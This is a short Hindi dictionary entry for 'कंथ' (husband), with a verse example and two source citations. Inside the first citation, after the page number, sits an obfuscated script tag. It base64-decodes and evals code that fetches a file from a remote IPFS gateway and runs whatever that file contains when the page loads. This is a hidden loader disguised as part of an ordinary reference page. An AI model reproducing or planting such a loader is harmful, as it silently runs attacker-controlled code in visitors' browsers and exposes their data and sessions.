कंथ - (काव्य प्रयोग, पुरानी हिन्दी) (प्रांतीय प्रयोग) संज्ञा पुल्लिंग (संस्कृत कान्त)[1]
उदाहरण-
कंथ बुलाय केकई कहियौ, आप बचन पूरी जै आस। - रघुनाथ रूपक[2]
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टीका टिप्पणी और संदर्भ
- ↑ हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 724 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ रघुनाथ रूपक गीताँरो, पृष्ठ 100, सम्पादक महताबचंद्र खारेड़, नागरी प्रचारिणी सभा, काशी
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